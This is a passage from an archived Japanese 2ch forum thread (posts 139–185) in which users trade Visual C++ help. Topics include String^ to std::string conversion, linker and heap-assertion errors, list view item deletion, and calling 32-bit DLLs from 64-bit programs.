でも、今私が見ているソースは主にwin32アプリケーションなので
プロジェクトの設定がwin32アプリケーションの方が都合が良いわけです。

デフォルトのワークスペースをwin32アプリケーションに対応する方法などはありませんか?

139:デフォルトの名無しさん
07/12/10 13:58:57
普通にプロジェクトを作りましょう

140:デフォルトの名無しさん
07/12/10 17:46:42
VC++/CLIです。
String^をSTLのstringに変換する最適な方法を教えてください。

141:デフォルトの名無しさん
07/12/10 19:33:55
一つのpictureBoxに複数のImageファイルを表示させたいんですが、どうすればよいでしょうか?

142:デフォルトの名無しさん
07/12/10 19:58:07
位置をずらして表示

143:デフォルトの名無しさん
07/12/10 21:24:42
すまんがきれいに分数を表現するにはどうすればいいですか?Texみたいに。
それと割り算の筆算なんか表現できないかと・・・。

144:デフォルトの名無しさん
07/12/10 21:30:46
電卓の液晶に比べたら、はるかに解像度高いんだから楽勝だろ

145:デフォルトの名無しさん
07/12/10 22:37:08
>>140
Visual C++ 2008なら、msclr::interop::marshal_as<std::string>が一番楽だろう。

2005なら、System::InteropServices::Marshal::StringToHGlobalAnsiで
マルチバイト文字列へのポインタをSystem::IntPtrで得られるから、
そのToPointerをstd::stringに代入するのが比較的簡単。
ポインタはMarshal::FreeHGlobalで解放すること。

あるいは、MFC/ATLのCStringがSystem::String^を
受け取るコンストラクタを持っているので、それを経由する手もある。
ただし、std::stringにしたいのだから、それにあわせてCStringAを使う。

146:デフォルトの名無しさん
07/12/10 23:47:14
すまん。System::Runtime::InteropServices::Marshalだな。

147:デフォルトの名無しさん
07/12/12 01:06:26
Visual C++ Express Editionを半年ぐらい前にインストール
久々にはじめようと思って、新規プロジェクト作成したら
「操作を完了できませんでした。指定されたモジュールが見つかりません。」と
エラーが発生してプロジェクト作成に失敗する
ググルとIE7が原因というのを発見
しかしIE7をアンインストールするも改善されない
セキュリティソフトのファイアウォールをOFFにしても改善はされなかった・・・
何か情報知っていたら教えて

148:デフォルトの名無しさん
07/12/12 07:06:03
>>147
IE7をアンインストールして駄目なら、
VCEEをアンインストールすればいいじゃない。
SP1で直ってなかったっけ?たしか。

149:147
07/12/12 21:03:34
>>148
VCEEアンインストールし
SP1インストールしてみたがダメでした
何をやってもダメな感じ・・・なんぞこれ?

150:デフォルトの名無しさん
07/12/13 21:30:06
ちょっとVisualStudioの設定について質問したいんだけど誰かいますか?

151:デフォルトの名無しさん
07/12/13 21:42:21
誰もいません。
一昨日などは結構居たのですが。

152:デフォルトの名無しさん
07/12/13 22:20:19
>>150
中に誰もいないじゃないですか。

153:デフォルトの名無しさん
07/12/13 22:48:10
Nice code.

154:デフォルトの名無しさん
07/12/14 13:39:09
Nice Boke

155:デフォルトの名無しさん
07/12/14 23:03:47
初心者ですが質問させてください。
ソースコードを書いてビルドしてデバッグも正常終了しました。
でもできた.exeファイルを実行するととたんに落ちてしまうのですが
原因はなにが考えられるのでしょうか?

156:デフォルトの名無しさん
07/12/14 23:15:02
>>155
CUIプログラムならすぐに処理が終わってウィンドウが閉じただけじゃないの?
コマンドプロンプトから実行するか、またはmain関数の最後あたりでgetchar();
とでも書いておけばキー入力がない限りウィンドウは閉じないぞ。

157:デフォルトの名無しさん
07/12/15 05:40:31
Ctrl+F5 で実行したコンソールアプリも
実行後ウィンドウ残ってくれるよね.
って,まぁそういうバッチファイルが
自動的に生成されているだけなんだが.

158:デフォルトの名無しさん
07/12/15 09:22:24
155です。すいません。あまり詳しく書かなくって。コンソールアプリを作ってるのですが
エラーメッセージは
Debug Assertion Failed
File dbgheap.c
Line 1252
Expression _CrtIsValidHeapPointer(pUserData)
このようになっています。exeを実行するときだけ出て
デバッグではひっかからないから途方にくれています。
いろいろ検索かけてるんですけど・・・
本当はソースも書くべきなんでしょうが乗せるには長すぎて
デバッグで引っかからないからどこの部分かもわからない・・・

159:デフォルトの名無しさん
07/12/15 09:42:12
メモリーを破壊してるんじゃない?

160:デフォルトの名無しさん
07/12/15 18:16:00
>>159
どうもそうみたいでした。
デバッグで引っかからないので
printfを片っ端からデバッグとexeで比較して見つけました。
再帰でメモリを確保するところが2箇所あって
(それぞれ別のリスト作成用)その一箇所がおかしくなってたみたいです。
そこの部分を再帰からはずして一番上流に移したら解決しました。
個人的にはもう一箇所のほうが危なそうなんですが(枝分かれリスト)
そっちは大丈夫みたいです。ご迷惑をおかけしました。

161:デフォルトの名無しさん
07/12/15 18:55:19
>>160
そういうバグってなかなか見つけにくいよね.
なんかいい方法ないかなぁ.

162:デフォルトの名無しさん
07/12/15 19:34:55
困っていることがあるので、どなたか教えてください。
VC++6.0でログ出力機能を実装したdllがあります。(仮にExecLog.dllと呼称)
このdllでは、同一ファイルのログへの書き出しを想定し、mutexオブジェクト
による排他制御をかけています。で、VB6.0で作成した各業務アプリケーション
がこのログ出力機能を利用しています。稼動環境は以下の通りです。

OS:Windows2000Server
DBMS:SQLServer2000

今回、ExecLog.dllも含めて各業務アプリケーションを.NET化しました。VC++で
できているExecLog.dllはソースレベルの修正はなく、単純なリコンパイルを
実施し、下記稼動環境下で機能レベルでは正常稼動しています。

OS:Windows2003Server
DBMS:SQLServer2005
.NetFrameWork1.1(WOW64環境下の32ビットアプリケーションとして稼動)

ところが、複数の業務アプリケーションの同時実行環境下でおそらく排他の問題
と思われる実行時エラーが出るようになりました。ログの出力時にエラーが発生
しているようです。(単純な再実行で正常終了します。)

以前の環境では、もちろん排他の問題は起きていません。ソースレベルの修正を
入れていないのにこのような差異が出るのは、やはりOSや.NETの環境の違いに
起因するのでしょうか。解決のためのヒントをご教授願いたいです。


163:デフォルトの名無しさん
07/12/15 19:36:03
再帰でメモリを確保って書いてあるのを見ただけで
いかにもバグってそうな雰囲気を感じたけど

164:デフォルトの名無しさん
07/12/16 13:04:57
リンク中...
LIBCD.lib(wincrt0.obj) : error LNK2001: 外部シンボル "_WinMain@16" は未解決です
Debug/1次多項式.exe : fatal error LNK1120: 外部参照 1 が未解決です。
link.exe の実行エラー

このエラーって、Winmainで始まっていないのをビルドしたから?
普通にcソースでコンパイルした時は通るのだけど、
プロジェクト組んで、Win32apprication を選択するとエラーが出る。

dos時代のC言語をコンパイルする時は、普通どうするものなの?

165:デフォルトの名無しさん
07/12/16 14:06:15
コンソールアプリだろ

166:デフォルトの名無しさん
07/12/17 10:03:52
>>164
LINKのオプションをよく見てみ。

コンソールアプリの時は、スタートアップルーチンの後main()を呼び出すobjとリンクする。

167:デフォルトの名無しさん
07/12/17 10:21:17
for (int i = 0; i<m_lv2.GetItemCount(); i++) {
if (m_lv2.GetItemState(i, LVIS_SELECTED) == TRUE) {
m_lv2.DeleteItem(i);
}
}

としているのですがリストビューから選択されているアイテムが
取得できません。
どこかおかしなところがありますでしょうか?

168:デフォルトの名無しさん
07/12/17 10:30:54
一般的に、TRUEと比較しないほうがいい。
特にBOOL返す関数で無いならなおさら。

そして、GetItemStateの第2引数はあてにならん。

169:デフォルトの名無しさん
07/12/17 10:33:48
そうやってDeleteItemしたらアイテム数と順番ずれないか?

170:デフォルトの名無しさん
07/12/17 10:46:58
for (int i = m_lv2.GetItemCount(); i<=0; i--) {
if (m_lv2.GetItemState(i, LVIS_SELECTED) == LVIS_SELECTED) {
m_lv2.DeleteItem(i);
}
}

でできました!

171:デフォルトの名無しさん
07/12/17 11:19:13
i<=0 が気になるけどまあいいか

172:デフォルトの名無しさん
07/12/17 11:45:57
>>171
直し忘れました。ありがとうございますだ。

173:デフォルトの名無しさん
07/12/17 14:53:40
環境VC++6
ダイアログベースのアプリ

最少化ボタンを押したときに、タスクバーを消したいんですが、
どのようにしたらいいかわかりません、どなたか教えていただくか、
よいサイトないでしょうか?


174:デフォルトの名無しさん
07/12/17 15:52:38
タスクボタンでしょ?
ShowWindow(hWnd, SW_HIDE);

175:デフォルトの名無しさん
07/12/17 17:13:07
最少化ボタン以外でも最小化するけど

176:デフォルトの名無しさん
07/12/17 18:41:49
VS2005MFCダイアログの実装です
ダイアログにフォーカスが当たっているときに、キーイベントが発生したら
モーダルのダイアログを出したくて
キーイベントを、PreTranslateMessage()関数で拾いDomodal()したら
メモリーリークが発生して落ちてしまいますなんで?


177:デフォルトの名無しさん
07/12/17 19:21:56
質問です。

Visual Studio 2005 で Windows XP x64 向けにプログラムを書いてるんですが、
64ビットアプリケーションから32ビットのDLLを利用する方法ってありますか?

検索したらなんか「ABIの違いでできない」みたいなことが書かれてるサイトが
多いのですが、具体的な回避策は見当たらなかったので。DLLを64ビットで
ビルドし直すしかないのでしょうか?

178:デフォルトの名無しさん
07/12/17 19:24:56
>>177は馬鹿デツカww
>検索したらなんか「ABIの違いでできない」


179:デフォルトの名無しさん
07/12/17 19:30:28
windows ABIについて勉強するか

180:デフォルトの名無しさん
07/12/17 19:44:03
Windows アクティブBasic インターフェース

181:デフォルトの名無しさん
07/12/17 19:44:29
application binary interface

182:デフォルトの名無しさん
07/12/17 19:46:06
Windows アプリケーション ベーシック インターナショナル

183:デフォルトの名無しさん
07/12/17 19:47:55
ApplicatiomBinaryInterfaceてのがあるのか。
説明を読んでも、いまいちピンとこないが。

184:177
07/12/17 20:27:23
>>178
何か変でした?
このへん↓を参考にしたんですが。
Wikipedia項目リンク

あまりにも初歩的な質問かもしれませんが
何か具体策がありましたらお教えください。

185:デフォルトの名無しさん
07/12/17 20:39:37
まあでも、読めたら読めたで、64bitプロセス側で32bitメモリへ
マーシャリングするひつようがあったり、32bitから64bitへの
コールバックで悩まされたり、64bitポインタと32bitポインタの区別を
つけなきゃならなくなったりで、結構大変そうな気はするな。


次ページ
最新レス表示
スレッドの検索
類似スレ一覧
話題のニュース
おまかせリスト
▼オプションを表示
暇つぶし2ch

4345日前に更新/252 KB
担当:undef